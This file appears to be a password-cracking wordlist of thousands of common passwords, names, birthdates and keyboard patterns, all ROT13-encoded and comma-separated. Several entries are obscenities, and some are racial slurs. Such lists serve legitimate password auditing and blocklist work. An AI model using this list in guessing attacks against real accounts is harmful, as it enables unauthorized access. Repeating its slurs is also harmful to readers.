vg,bhgonpx,ohzoyr,qbzvavdh,crefban,arirezber,nyvaxn,02021971,sbetrgvg,frkb,nyy4bar,p2u5bu,crghavn,furron,xraal1,ryvfnorg,nbyfhpxf,jbbqfgbp,chzcre,02011975,snovb,tenanqn,fpenccre,123459,zvavzbav,d123456789,oernxre,1004,02091976,app74656,fyvzfunq,sevraqfgre,nhfgva31,jvfrthl,qbaare,qvyoreg1,132465,oynpxoveq,ohssrg,wryylorna,onesyl,orunccl,01011971,pnerorne,sveroynq,02051975,obkpne,purrxl,xvgrobl,uryyb12,cnaqn1,ryivfc,bcraabj,qbxgbe,nyrk12,02101977,cbeaxvat,synzratb,02091975,fabjoveq,ybarfbzr,ebova1,11111n,jrrq420,onenphqn,oyrnpu,12345nop,abxvn1,zrgnyy,fvatncbe,znevare,urerjrtb,qvatb,glpbba,phof,oyhagf,cebivrj,123456789q,xnznfhgen,yntans,ivcretgf,anilfrny,fgnejne,znfgreongr,jvyqbar,crgreovy,phphzore,ohgxhf,123djreg,pyvznk,qraveb,tbgevor,przrag,fpbbol1,fhzzre69,uneevre,fubqna,arjlrne,02091977,fgnejnef1,ebzrb1,frqban,unenyq,qbhoyrq,fnfun123,ovtthaf,fnynzv,njalpr,xvjv,ubzrznqr,cvzcvat,nmmre,oenqyrl1,jneunzzr,yvaxva,qhqrzna,djr321,cvaanpyr,znkqbt,syvcsybc,ysvglzes,shpxre1,npvqohea,rfdhver,fcrezn,sryyngvb,wrrcfgre,gurqba,frklovgpu,cbbxrl,fcyvss,jvqtrg,isagisaoes,gevavgl1,zhgnag,fnzhry1,zryvff,tbubzr,1d2d3d,zreprqr,pbzrva,teva,pnegbbaf,cnentba,uraevx,envalqnl,cnpvab,fraan,ovtqbt1,nyyrlpng,12345dnm,aneavn,zhfgnat2,gnaln1,tvnaav,ncbyyb11,jrggre,pybivf,rfpnynqr,envaobjf,serqql1,fzneg1,qnvflqbt,f123456,pbpxfhpxre,chfuxva,yrsgl,fnzob,slhgxwkge,uvmvnq,oblm,juvcynfu,bepuneq,arjnex,nqeranyva,1598753,obbgfvr,puryyr,gehfgzr,purjl,tbystgv,ghfpy,nzoebfvn,5je2v7u8,crargengvba,fubahs,whturnq,cnlqnl,fgvpxzna,tbgunz,xbybxby,wbuaal5,xbyonfn,fgnat,chcclqbt,punevfzn,tngbef1,zbar,wnxnegn,qenpb,avtugzne,01011973,vaybir,ynrgvgvn,02091973,gnecba,anhgvpn,zrnqbj,0192837465,yhpxlbar,14881488,purffvr,tbyqrarl,gnenxna,69pnzneb,ohatyr,jbeqhc,vagrear,shpxzr2,515000,qentbasy,fcebhg,02081974,treovy,onaqvg1,02071971,zrynavr1,cuvnycun,pnzore,xngul1,nqevnab,tbamb1,10293847,ovtwbua,ovfznepx,7777777n,fpnzcre,12348765,enoovgf,222777,olagulga,qvzn123,nyrknaqre1,znyybepn,qentfgre,snibevgr6,orrgubir,oheare,pbbcre1,sbfgref,uryyb2,abeznaql,777999,froevat,1zvpunry,ynhera1,oynxr1,xvyyn,02091971,abhabhef,gehzcrg1,guhzcre1,cynlonyy,knagvn,ehtol1,ebpxaebyy,thvyynhz,natryn1,fgerybx,cebfcre,ohggrephc,znfgrec,qoasxoe,pnzoevqt,irabz,gerrsebt,yhzvan,1234566,fhcen,frklonor,serrr,fura,sebtf,qevyyre,cnirzrag,tenpr1,qvpxl,purpxre,fznpxqbja,cnaqnf,pnaavony,nfqssqfn,oyhr42,mlwkes,aguiolsawu,zryebfr,arba,wnoore,tnzzn,369258147,ncevyvn,nggvphf,orarffrer,pngpure,fxvccre1,nmreglhvbc,fvkgl9,guvreel,gerrgbc,wryyb,zrybaf,123456789djr,gnagen,ohmmre,pngavc,obhapre,pbzchgre1,frklbar,nananf,lbhat1,byraxn,frkzna,zbbfrf,xvgglf,frcuvebgu,pbagen,unyybjrr,fxlynex,fcnexyrf,777333,1dnmkfj23rqp,yhpnf1,d1j2r3e,tbsnfg,unaarf,nzrgulfg,cybccl,sybjre2,ubgnff,nzngbel,ibyyrlon,qvkvr1,orgglobb,gvpxyvfu,02061974,serapul,cuvfu1,zhecul1,gehfgab,02061972,yrvanq,zlanzrvf,fcbbtr,whcvgre1,ulhaqnv,sebfpu,whaxznvy,nonpno,zneoyrf,32167,pnfvb,fhafuvar1,jnlar1,ybatunve,pnfgre,favpxre,02101973,tnaavony,fxvaurnq,unafby,tngfol,frtoyhr2,zbagrpne,cyngb,thzol,xnobbz,znggl,obfpb1,888999,wnmml,cnagre,wrfhf123,puneyvr2,tvhyvn,pnaqlnff,frk69,genivf1,snezobl,fcrpvny1,02041973,yrgfqbvg,cnffjbeq01,nyyvfba1,nopqrst1,abgerqnz,vyvxrvg,789654123,yvoregl1,ehttre,hcgbja,nypngenm,123456j,nvezna,007obaq,aninwb,xrabov,greevre,fgnlbhg,tevfun,senaxvr1,syhss,1dnmmnd1,1234561,ivetvavr,1234568,gnatb1,jreqan,bpgbchf,svggre,qspoxops,oynpxyno,115599,zbagebfr,nyyra1,fhcreabin,serqrevx,vybirchffl,whfgvpr1,enqrba,cynlobl2,oyhoore,fyvire,fjbbfu,zbgbpebf,ybpxqbja,crneyf,gurorne,vfgurzna,cvargerr,ovvg,1234erjd,ehfglqbt,gnzcnonl,gvggf,onolpnxr,wrubinu,inzcver1,fgernzvat,pbyyvr,pnzvy,svqryvgl,pnyiva1,fgvgpu,tngvg,erfgneg,chccl1,ohqtvr,tehag,pncvgnyf,uvxvat,qernzpnf,mbeeb1,321678,evssenss,znxnxn,cynlzngr,ancnyz,ebyyva,nzfgry,mkpio123,fnznagu,ehzoyr,shpxzr69,wvzzlf,951357,cvmmnzna,1234567899,genynyn,qrycvreb,nyrkv,lnzngb,vgvfzr,1zvyyvba,isaqgd,xnuyhn,ybaqb,jbaqreobl,pneebgf,gnmm,engobl,estrpas,02081973,avpb,shwvgfh,ghwues,fretorfg,oybool,02051970,fbavp1,1357911,fzveabi,ivqrb1,cnaurnq,ohpxl,02031974,44332211,qhssre,pnfuzbarl,yrsg4qrnq,ontchff,fnyzna,01011972,gvgshpx,66613666,ratynaq1,znyvfu,qerfqra,yrznaf,qnevan,mnccre,123456nf,123456ddd,zrg2002,02041972,erqfgne,oyhr23,1234509876,cnwreb,obblnu,cyrnfr1,grgfhb,frzcre,svaqre,unahzna,fhayvtug,123456a,02061971,geroyr,phcbv,cnffjbeq99,qvzvgev,3vc76x2,cbcpbea1,yby12345,fgryyne,alzcub,funex1,xrvgu1,fnfxvn,ovtgehpx,eribyhgv,enzob1,nfq222,srrytbbq,cung,tbtngbef,ovfznex,pbyn,chpx,sheonyy,oheabhg,fybavx,objgvr,zbzzl1,vprphor,snovraa,zbhfre,cncnznzn,ebyrk,tvnagf1,oyhr11,gebbcre1,zbzqnq,vxyb,zbegra,euhoneo,tnergu,123456q,oyvgm,pnanqn1,e2q2,oerfg,gvtrepng,hfznevar,yvyovg,oraal1,nmenry,yrobjfxv,12345e,znqntnfxne,ortrzbg,ybirezna,qentbaonyym,vgnyvnab,znmqn3,anhtugl1,bavbaf,qvire1,plenab,pncpbz,nfqst123,sbeyvsr,svfurezna,jrner138,erdhvrz,zhsnfn,nycun123,cvrepvat,uryynf,noenpnqnoen,qhpxzna,pnenpnf,znpvagbf,02011971,wbeqna2,perfprag,sqhrpa,ubtgvrq,rngzrabj,enzwrg,18121812,xvpxfnff,junggur,qvfphf,esusigxzes,ehshf1,fdqjsr,znagyr,irtvggb,gerx,qna123,cnynqva1,ehqrobl,yvyvln,yhapuobk,evirefvq,npnchypb,yvoreb,qafnqz,znvfba,gbbzhpu,obborne,urzybpx,frkgbl,chtfyrl,zvfvrx,ngubzr,zvthr,nygbvqf,znepva,123450,euspsqojs,wrgre2,euvabf,ewuwxz,zrephel1,ebanyqvaub,funzcbb,znxnlyn,xnzvyyn,znfgreongvat,graarffr,ubytre,wbua1,zngpuobk,uberf,cbcgneg,cneynzrag,tbbqlrne,nfqstu1,02081970,uneqjbbq,nynva,rerpgvba,uslgaeo,uvtuyvsr,vzcynagf,orawnzv,qvccre,wrrcre,oraqbire,fhcrefbavp,onolorne,ynfrewrg,tbgraxf,onzn,angrqbtt,nby123,cbxrzb,enoovg1,enqhtn,fbcenabf,pnfusybj,zraguby,cunenb,unpxvat,334455,tuwpaoaraes,yvmml,zhssva1,cbbxl,cravf1,sylre,tenzzn,qvcfrg,orppn,verynaq1,qvnan1,qbawhna,cbat,mvttl1,nygrertb,fvzcyr1,poe900,ybttre,111555,pynhqvn1,pnagban7,zngvffr,ywkglzes,ivpgbev,uneyr,znznf,rapber,znatbf,vprzna1,qvnzba,nyrkkk,gvnzng,5000,qrfxgbc,znsvn,fzhes,cevaprfn,fubwbh,oyhroree,jryxbz,znkvzxn,123890,123d123,gnzzl1,obozneyrl,pyvcf,qrzba666,vfznvy,grezvgr,ynfre1,zvffvr,nygnve,qbaan1,onhunhf,gevavgeba,zbtjnv,sylref88,whavcre,abxvn5800,obebqn,wvatyrf,djrenfqsmkpi,funxhe,777666,yrtbf,znyyengf,1dnmkfj,tbyqrarlr,gnzreyna,whyvn1,onpxobar,fcyrra,49ref,funql,qnexbar,zrqvp1,whfgv,tvttyr,pybhql,nvfna,qbhpur,cnexbhe,oyhrwnl,uhfxref1,erqjvar,1dj23re4,fngpuzb,1231234,avaronyy,fgrjneg1,onyyfnpx,ceborf,xnccn,nzvtn,syvccre1,qbegzhaq,963258,gevtha,1237895,ubzrcntr,oyvaxl,fperjl,tvmmzb,oryxva,purzvfg,pbbyunaq,punpuv,oenirf1,gurorfg,terrqvftbbq,ceb100,onanan1,101091z,123456t,jbaqresh,onersrrg,8vapurf,1111dddd,xppuvrsf,djrnfqmkp123,zrgny1,wraavsre1,kvna,nfqnfq123,cbyyhk,purreyrnref,sehvgl,zhfgnat5,gheobf,fubccre,cubgba,rfcnan,uvyyovyy,blfgre,znpnebav,tvtnolgr,wrfcre,zbgbja,ghkrqb,ohfgre12,gevcyrk,plpybarf,rfgeryy,zbegvf,ubyyn,456987,svqqyr,fnccuvp,whenffvp,gurornfg,tuwpawd,onhen,fcbpx1,zrgnyyvpn1,xnenbxr,arzenp58,ybir1234,02031970,syiolopausawu,sevforr,qvin,nwnk,srnguref,sybjre1,fbppre11,nyyqnl,zvreqn,crney1,nzngher,znenhqre,333555,erqurnqf,jbznaf,rtbexn,tbqoyrff,159263,avzvgm,nnnn1111,fnfuxn,znqpbj,fbppr,terljbys,onobba,cvzcqnqql,123456789e,erybnqrq,ynapvn,esuslysv,qvpxre,cynpvq,tevznpr,22446688,byrzvff,juberf,phyvanel,jnaanor,znkv,1234567nn,nzryvr,evyrl1,genzcyr,cunagbz1,onorehgu,oenzoyr,nfqsdjre,ivqrf,4lbh,nop123456,gnvpuv,nmgaz,fzbgure,bhgfvqre,unxe,oynpxunjx,ovtoynpx,tveyvr,fcbbx,inyrevln,tvnayhpn,serrqb,1d2d3d4d,unaqont,yninynzc,phzz,cregvanag,junghc,abxvn123,erqyvtug,cngevx,111nnn,cbccl1,qslgkes,nivngbe,fjrrcf,xevfgva1,plcure,ryjnl,lvalnat,npprff1,cbbcurnq,ghpfba,abyrf1,zbagrerl,jngresny,qnax,qbhtny,918273,fhrqr,zvaarfbg,yrtzna,ohxbjfxv,tnawn,znzzbgu,evireeng,nffjvcr,qnerqriv,yvna,nevmban1,xnzvxnqmr,nyrk1234,fzvyr1,natry2,55otngrf,oryyntvb,0001,jnaeygj,fgvyrggb,yvcgba,nefran,ovbunmneq,ooxvat,punccl,grgevf,nf123456,qneguinq,yvyjnlar,abcnffjbeq,7412369,123456789987654321,angpurm,tyvggre,14785236,zlgvzr,ehovpba,zbgb,clba,jnmmhc,goveq,funar1,avtugbjy,trgbss,orpxunz7,gehroyhr,ubgtvey,arirezva,qrnguabgr,13131,gnssl,ovtny,pbcraunt,ncevpbg,tnyynevrf,qgxwpotgy,gbgbeb,baylbar,pvivpfv,wrffr1,onol123,fvreen1,srfghf,nonphf,fvpxobl,svfugnax,shathf,puneyr,tbysceb,grrafrk,znevb66,frnfvqr,nyrxfrv,ebfrjbbq,oynpxoreel,1020304050,orqynz,fpuhzv,qrreuhag,pbagbhe,qnexrys,fheirlbe,qrygnf,cvgpuref,741258963,qvcfgvpx,shaal1,yvmmneq,112233445566,whcvgre2,fbsggnvy,gvgzna,terrazna,m1k2p3i4o5,fznegnff,12345677,abgabj,zljbeyq,anfpne1,purjonpp,abfsrengh,qbjauvyy,qnyynf22,xhna,oynmref,junyrf,fbyqng,penivat,cbjrezna,lspagls,ubgengf,psiprlh,djrnfqmk,cevaprff1,sryvar,ddjjrr,puvgbja,1234dnm,znfgrezvaq,114477,qvatong,pner1839,fgnaqol,xvfzrg,ngervqrf,qbtzrng,vpnehf,zbaxrlobl,nyrk1,zbhfrf,avprgvgf,frnygrnz,pubccre1,pevfcl,jvagre99,eecnff1,zlcbea,zlfcnpr1,pbenmb,gbcbyvab,nff123,ynjzna,zhssl,betl,1ybir,cnffbeq,ubblnu,rxzmls,cergmry,nzbaen,arfgyr,01011950,wvzornz,uncclzna,m12345,fgbarjny,uryvbf,znahavgrq,unepber,qvpx1,tnlzra,2ubg4h,yvtug1,djregl13,xnxnfuv,cwxwaw,nypngry,gnlyb,nyynu,ohqqlqbt,ygxznol,zbatb,oybaqf,fgneg123,nhqvn6,123456i,pvivyjne,oryynpb,ghegyrf,zhfgna,qrnqfcva,nnn123,slawves,yhpxl123,gbegbvfr,nzbe,fhzzr,jngrefxv,mhyh,qent0a,qgklwpaz,tvmzbf,fgevsr,vagrenpvny,chfll,tbbfr1,orne1,rdhvabk,zngev,wnthne1,gbolqbt,fnzzlf,anpubf,genxgbe,oelna1,zbetbgu,444555,qnfnav,zvnzv1,znfuxn,kkkkkk1,bjantr,avtugjva,ubgyvcf,cnffznfg,pbby123,fxbyxb,ryqvnoyb,znah,1357908642,fperjlbh,onqnovat,sbercynl,ulqeb,xhoevpx,frqhpgvir,qrzba1,pbzrba,tnyvyrb,nynqqva,zrgbb,unccvarf,902100,zvmhab,pnqql,ovmmner,tveyf1,erqbar,buzltbq,fnoyr,obabibk,tveyvrf,unzcre,bchf,tvmzbqb1,nnnooo,cvmmnuhg,999888,ebpxl2,nagba1,xvxvzben,crnirl,bprybg,n1n2n3n4,2jfk3rqp,wnpxvr1,fbynpr,fcebpxrg,tnynel,puhpx1,ibyib1,fuhevx,cbbc123,ybphghf,iventb,jqgawkge,grdhvre,ovfrkhny,qbbqyrf,znxrvgfb,svful,789632145,abguvat1,svfupnxr,fragel,yvoregnq,bnxgerr,svirfgne,nqvqnf1,irtvggn,zvffvffv,fcvssl,pnezr,arhgeba,inagntr,ntnffv,obaref,123456789i,uvyygbc,gnvcna,oneentr,xraargu1,svfgre,znegvna,jvyyrz,ysloxs,oyhrfgne,zbbazna,agxgqocwu,cncrevab,ovxref,qnssl,orawv,dhnxr,qentbasyl,fhpxpbpx,qnavyxn,yncbpuxn,oryvarn,pnylcfb,nffuby,pnzreb1,noenknf,zvxr1234,jbznz,d1d2d3d4d5,lbhxabj,znkcbjre,cvp'f,nhqv80,fbaben,enlzbaq1,gvpxyre,gnqcbyr,orynve,penmlzna,svanysnagnfl,999000,wbangun,cnvfyrl,xvffzlnf,zbetnan,zbafgr,znagen,fchax,zntvp123,wbarfl,znex1,nyrffnaq,741258,onqqrfg,tuoqgaeseygxs,mkppkm,gvpgnp,nhthfgva,enpref,7tebhg,sbksver,99762000,bcravg,angunavr,1m2k3p4i5o,frnqbt,tnatonatrq,ybirungr,ubaqnpoe,unecbba,znzbpuxn,svfurezn,ovfzvyyn,ybphfg,jnyyl1,fcvqrezna1,fnsseba,hgwuhod,123456987,20fcnaxf,fnsrjnl,cvffre,oqslwq,xevfgra1,ovtqvpx1,zntragn,isuhwvs,nasvfn,sevqnl13,dnm123jfk,0987654321d,glenag,thna,zrttvr,xbagby,aheyna,nlnanzv,ebpxrg1,lnebfyni,jrofby76,zhgyrl,uhtbobff,jrofbyhgvbaf,rycnfb,tntneva,onqoblf,frcuvebg,918273645,arjhfre,dvna,rqpesi,obbtre1,852258,ybpxbhg,gvzbkn94,znmqn323,sverqbt,fbxbybin,fxlqvire,wrfhf777,1234567890m,fbhysyl,pnanel,znyvaxn,thvyyrez,ubbxref,qbtsneg,fhesre1,bfcerl,vaqvn123,euwxoe,fgbccrqol,abxvn5530,123456789b,oyhr1,jregre,qviref,3000,123456s,nycvan,pnyv,jubxabjf,tbqfcrrq,986532,sberfxva,shmml1,urllbh,qvqvre,fyncahgf,serfab,ebfrohq1,fnaqzna1,ornef1,oynqr1,ubarloha,dhrra1,onebaa,cnxvfgn,cuvyvcc,9111961,gbcfrperg,favcre1,214365,fyvccre,yrgfshpx,cvccra33,tbqnjtf,zbhfrl,dj123456,fpebghz,ybirvf,yvtugubh,oc2002,anapl123,wrsserl1,fhfvrd,ohqql2,enycuvr,gebhg1,jvyyv,nagbabi,fyhggrl,eruojs,znegl1,qnevna,ybfnatryrf,yrgzr1a,12345q,chfffl,tbqvin,raqre,tbysahg,yrbavqnf,n1o2p3q4r5,chssre,trareny1,jvmmneq,yruwkes,enpre1,ovtohpxf,pbby12,ohqqlf,mvatre,rfcevg,iovraes,wbfrc,gvpxyvat,sebttvr,987654321n,895623,qnqqlf,pehzof,thppv,zvxxry,bcvngr,genpl1,puevfgbcur,pnzr11,777555,crgebivpu,uhzoht,qveglqbt,nyyfgngr,ubengvb,jnpugjbbeq,perrcref,fdhvegf,ebgnel,ovtq,trbetvn1,shwvsvyz,2fjrrg,qnfun,lbexvr,fyvzwvz,jvppna,xramvr,flfgrz1,fxhax,o12345,trgvg,cbzzrf,qnerqrivy,fhtnef,ohpxre,cvfgba,yvbaurneg,1ovgpu,515051,pngsvtug,erpba,vprpbyq,snagbz,ibqnsbar,xbagnxg,obevf1,ispagu,pnavar,01011961,inyyrljn,snenba,puvpxrajvat101,dd123456,yvirjver,yviryvsr,ebbfgref,wrrcref,vyln1234,pbbpuvr,cniyvx,qrjnyg,qsuqsus,nepuvgrp,oynpxbcf,1dnm2jfk3rqp4esi,euspwas,jfkrqp,grnfre,froben,25252,euvab1,naxnen,fjvsgl,qrpvzny,erqyrt,funaab,arezny,pnaqvrf,fzveabin,qentba01,cubgb1,enargxv,n1f2q3s4t5,nkvb,jregmh,znhevmvb,6hyqi8,mkpinfqs,chaxnff,sybjr,tenljbys,crqqyre,3ewf1yn7dr,zcrtf,frnjbys,ynqlobl,cvnabf,cvttvrf,ivkra,nyrkhf,becurhf,tqgeso,m123456,znptlire,uhtrgvgf,enycu1,syngurnq,znhevpv,znvyeh,tbbsonyy,avffna1,avxba,fgbcvg,bqva,ovt1,fzbbpu,erobbg,snzvy,ohyyvg,nagubal7,treuneq,zrgubf,124038,zberan,rntyr2,wrffvpn2,mroenf,trgybfg,tslagus,123581321,fnenwrib,vaqba,pbzrgf,gngwnan,estoawves,wblfgvpx,ongzna12,123456p,fnoer,orrezr,ivpgbel1,xvggvrf,1475369,onqobl1,obbobb1,pbzpnfg,fynin,fdhvq,fnkbcuba,yvbaurne,dnljfk,ohfgyr,anfgran,ebnqjnl,ybnqre,uvyyfvqr,fgneyvtug,24681012,avttref,npprff99,onmbbxn,zbyyl123,oynpxvpr,onaqv,pbpnpby,asusesl,gvzhe,zhfpuv,ubefr1,dhnag4307f,fdhregvat,bfpnef,zltveyf,synfuzna,gnatreva,tbbsl1,c0b9v8,ubhfrjvsrf,arjarff,zbaxrl69,rfpbecvb,cnffjbeq11,uvccb,jnepensg3,dnmkfj123,dcnymz,evoovg,tuoqgaqpgi,obtbgn,fgne123,258000,yvapbya1,ovtwvz,ynpbfgr,sverfgbez,yrtraqn,vaqnva,yhqnpevf,zvynzore,1009,rinatryv,yrgzrfrr,n111111,ubbgref1,ovterq1,funxre,uhfxl,n4grpu,pasxegu,netlyr,ewuwqs,angnun,0b9v8h7l,tvofba1,fbbaref1,tyraqnyr,nepurel,ubbpuvr,fgbbtr,nnnnnn1,fpbecvbaf,fpubby1,irtnf1,encvre,zvxr23,onffbba,tebhcq2013,znpnpb,onxre1,ynovn,serrjvyy,fnagvnt,fvyirenqb,ohgpu1,isyshspesu,zbavpn1,ehteng,pbeaubyr,nrebfzvg,ovbavpyr,tstsisis,qnavry12,ivetb,sznyr,snibevgr2,qrgebvg1,cbxrl,fuerqqre,onttvrf,jrqarfqn,pbfzb1,zvzbfn,fcneunjx,sverunjx,ebznevb,911gheob,shagvzrf,suagies,arkhf6,159753456,gvzbgul1,onwvatna,greel1,serapuvr,envqra,1zhfgnat,onorzntarg,74123698,anqrwqn,gehssyrf,encgher,qbhtynf1,ynzobetuvav,zbgbpebff,ewpiwp,748596,fxrrgre1,qnagr1,natry666,gryrpbz,pnefgra,cvrgeb,ozj318,nfgeb1,pnecrqvrz,fnzve,benat,uryvhz,fpvebppb,shmmonyy,ehfuzber,erorym,ubgfche,ynpevzbfn,purilf10,znqbaan1,qbzravpb,lsasves,wnpuva,furyol1,oybxr,qnjtf,qhauvyy,ngynagn1,freivpr1,zvxnqb,qrivyzna,natryvg,ermabe,rhcubevn,yrfonva,purpxzng,oebjaqbt,cuernx,oynmr1,penfu1,snevqn,zhggre,yhpxlzr,ubefrzra,itvey,wrqvxavt,nfqnf,prfner,nyyavtug,ebpxrl,fgneyvgr,gehpx1,cnffsna,pybfr-hc,fnzhr,pnmmb,jevaxyrf,ubzryl,rngzr1,frkcbg,fancfubg,qvzn1995,nfguzn,gurgehgu,qhpxl,oyraqre,cevlnaxn,tnhpub,qhgpuzna,fvmmyr,xnxnebg,651550,cnffpbqr,whfgvaovrore,666333,rybqvr,fnawnl,110442,nyrk01,ybghf1,2300zw,ynxfuzv,mbbzre,dhnxr3,12349876,grncbg,12345687,enznqn,craaljvf,fgevcre,cvybg1,puvatba,bcgvzn,ahqvgl,rguna1,rhpyvq,orryvar,yblbyn,ovthaf,mnd12345,oenib1,qvfarl1,ohssn,nffzhapu,ivivq,6661313,jryyvatg,ndjmfk,znqnyn11,9874123,fvtzne,cvpgrer,gvcgbc,orgglobbc,qvareb,gnuvgv,tertbel1,ovbavp,fcrrq1,shone1,yrkhf1,qravf1,unjgubea,fnkzna,fhagmh,oreauneq,qbzvavxn,pnzneb1,uhagre12,onyobn,ozj2002,frivyyr,qvnoyb1,isuolwkes,1234nop,pneyvat,ybpxreebbz,chanav,qnegu,oneba1,inarff,1cnffjbeq,yvovqb,cvpure,232425,xnenzon,shgla007,qnlqernz,11001001,qentba123,sevraqf1,obccre,ebpxl123,pubbpu,nffybire,fuvzzre,evqqyre,bcrazr,ghtobng,frkl123,zvqbev,thyanen,puevfgb,fjngpu,ynxre,bssebnq,chqqyrf,unpxref,znaaurvz,znantre1,ubefrzna,ebzna1,qnapre1,xbzchgre,cvpghref,abxvn5130,rwnphyngvba,yvbarff,123456l,rivybar,anfgraxn,chfubx,wnivr,yvyzna,3141592,zwbyave,gbhybhfr,chffl2,ovtjbez,fzbxr420,shyyonpx,rkgrafn,qernzpnfg,oryvmr,qryobl,jvyyvr1,pnfnoynapn,pflwkge,evpxl1,obatuvg,fnyingbe,onfure,chfflybire,ebfvr1,963258741,ivivgeba,pboen427,zrbayl,nezntrqqba,zlsevraq,mneqbm,djrqfnmkp,xenxra,smnccn,fgnesbk,333999,vyyzngvp,pncbrven,jrravr,enzmrf,serrqbz2,gbnfgl,chcxva,fuvavtnzv,suishgywl,abpghear,puhepuvy,guhzoavyf,gnvytngr,arjbeqre,frklznzn,tbnezl,prerohf,zvpuryyr1,iovslm,fhesfhc,rneguyva,qnohyyf,onfxrgony,nyvtngbe,zbwbwbwb,fnvonon,jrypbzr2,jvsrf,jqgawe,12345j,fynfure,cncnorne,greena,sbbgzna,ubpxr,153759,grknaf,gbz123,fstvnagf,ovyynobat,nnffqq,zbabyvgu,kkk777,y3gz31a,gvpxgbpx,arjbar,uryyab,wncnarrf,pbagbegvbavfg,nqzva123,fpbhg1,nynonzn1,qvik1,ebpuneq,ceving,enqne1,ovtqnq,supglod,gbeghtn,pvgehf,ninagv,snagnfl1,jbbqfgbpx,f12345,sverzna1,rzonyzre,jbbqjbex,obamnv,xbalbe,arjfgneg,wvttn,cnabenzn,tbngf,fzvgul,ehtengf,ubgznzn,qnrqnyhf,abafgbc,sehvgong,yvfrabx,dhnxre,ivbyngbe,12345123,zl3fbaf,pnwha,senttyr,tnlobl,byqsneg,ihyin,xavpxreyrff,betnfzf,haqregbj,ovaxl,yvgyr,xspawkes,znfgheongvba,ohaavr,nyrkvf1,cynaare,genafrkhny,fcnegl,yrrybb,zbavrf,sbmmvr,fgvatre1,ynaqebir,nanxbaqn,fpbbovr,lnznun1,uragv,fgne12,esuyolsx,orlbapr,pngsbbq,pwlgkes,mrnybgf,fgeng,sbeqgehp,nepunatry,fvyiv,fngvin,obbtref,zvyrf1,ovtwbr,ghyvc,crgvgr,terragrn,fuvggre,wbaobl,ibygeba,zbegvpvn,rinarfprapr,3rqp4esi,ybatfubg,jvaqbjf1,fretr,nnoopp,fgneohpxf,fvashy,qeljnyy,ceryhqr1,jjj123,pnzry1,ubzroerj,zneyvaf,123412,yrgzrvaa,qbzvav,fjnzcl,cybxvw,sbeqs350,jropnz,zvpuryr1,obyviv,27731828,jvatmreb,dnjfrqesgt,fuvawv,firevtr,wnfcre1,cvcre1,phzzre,vvlnzn,tbpngf,nzbhe,nysnebzr,whznawv,zvxr69,snagnfgv,1zbaxrl,j00g88,funja1,ybevra,1n2f3q4s5t,xbyrfb,zhecu,angnfpun,fhaxvfg,xraajbeg,rzvar,tevaqre,z12345,d1d2d3d4,purron,zbarl2,dnmjfkrqp1,qvnznagr,cebfgb,cqvqql,fgvaxl1,tnool1,yhpxlf,senapv,cbeabtencuvp,zbbpuvr,tsuwqwc,fnzqbt,rzcver1,pbzvpobbxqo,rzvyv,zbgqrcnffr,vcubar,oenirurneg,errfrf,arohyn,fnawbfr,ohoon2,xvpxsyvc,nepnatry,fhcreobj,cbefpur911,klmml,avttre1,qntboreg,qrivy1,nyngnz,zbaxrl2,oneonen1,12345i,iscsnses,nyrffvb,onorznta,nprzna,neenxvf,xnixnm,987789,wnfbaf,orefrex,fhoyvzr1,ebthr1,zlfcnpr,ohpxjurn,pflrxm,chffl4zr,irggr1,obbgf1,obvatb,neanhq,ohqyvgr,erqfgbez,cnenzber,orpxl1,vzgurzna,punatb,zneyrl1,zvyxljnl,666555,tvirzr,znunyb,yhk2000,yhpvna,cnqql,cenkvf,fuvznab,ovtcravf,perrcre,arjcebwrpg2004,enzzfgrv,w3dd4u7u2i,usywpaz,ynzopubc,nagubal2,ohtzna,tsuwxz12,qernzre1,fgbbtrf,plorefrk,qvnznag,pbjoblhc,znkvzhf1,fragen,615243,tbrgur,znaunggn,snfgpne,fryzre,1213141516,lsasvglzes,qraav,purjrl,lnaxrr1,ryrxgen,123456789c,gebhfref,svfusnpr,gbcfcva,bejryy,ibeban,fbqncbc,zbguresh,vovyygrf,sbenyy,xbbxvr,ebanyq1,onyebt,znkvzvyvna,zlcnffjb,fbaal1,mmkkpp,gxsxqt,zntbb,zqbtt,urryrq,tvgnen,yrfobf,znenwnqr,gvccl,zbebmbin,ragre123,yrforna,cbhaqrq,nfq456,svnyxn,fpneno,funecvr,fcnaxl1,tfgevat,fnpuva,12345nfq,cevaprgb,uryybury,hefvgrfhk,ovyybjf,1234xrxp,xbzong,pnfurj,qhenpryy,xfravln,frirabs9,xbfgvx,neguhe1,pbeirg07,eqsuaous,fbatbxh,gvorevna,arrqsbefcrrq,1djreg,qebcxvpx,xriva123,cnanpur,yvoen,n123456n,xwvsyz,isuafves,pagtsl,vnzpbby,anehg,ohssre,fx8beqvr,heynho,sveroynqr,oynaxrq,znevfuxn,trzvav1,nygrp,tbevyynm,puvrs1,eriviny47,vebazna1,fcnpr1,enzfgrva,qbbexabo,qrivyznlpel,arzrfvf1,fbfvfxn,craafgng,zbaqnl1,cvbare,furipuraxb,qrgrpgvi,rivyqrnq,oyrffrq1,nttvr,pbssrrf,gvpny,fpbggf,ohyyjvax,znefry,xelcgb,nqebpx,ewvgkes,nfzbqrhf,enchamry,guroblf,ubgqbtf,qrrcgueb,znkcnlar,irebavp,sllrves,bggre,purfgr,noorl1,gunabf,orqebpx,onegbx,tbbtyr1,kkkmmm,ebqrag,zbagrpneyb,ureanaqr,zvxnlyn,123456789y,oenirurn,12ybpxrq,yglzho,crtnfhf1,nzrgrhe,fnyglqbt,snvfny,zvysarj,zbzfhpx,riredhrf,lgatsuwxm,z0axrl,ohfvarffonor,pbbxv,phfgneq,123456no,yoiwkes,bhgynjf,753357,djregl78,hqnpun,vafvqre,purrf,shpxzruneq,fubgbxna,xngln,frnubefr,igyqgyz,ghegyr1,zvxr12,orrobc,urngur,riregba1,qnexarf,oneavr,eoprxm,nyvfure,gbbubg,gurqhxr,555222,erqqbt1,oerrml,ohyyqnjt,zbaxrlzna,onlyrr,ybfnatry,znfgrezv,ncbyyb1,nheryvr,mkpio12345,pnlraar,onfgrg,jfkmnd,trvopaoe,lryyb,shpzl69,erqjnyy,ynqloveq,ovgpuf,pppppp1,exgwtsaus,tuwqgues,dhrfg1,brqvchf,yvahf,vzcnynff,snegzna,12345x,sbxxre,159753n,bcgvcyrk,oooooo1,ernygbe,fyvcxab,fnagnpeh,ebjql,wryran,fzryyre,3984240,qqqqq1,frklzr,wnarg1,3698741,rngzr69,pnmmbar,gbqnl1,cbborne,vtangvhf,znfgre123,arjcnff1,urngure2,fabbcqbtt,oybaqvaxn,cnff12,ubarlqrj,shpxgung,890098890,ybirz,tbyqehfu,trpxb,ovxre1,yynzn,craqrwb,ninynapur,serzbag,fabjzna1,tnaqbys,pubjqre,1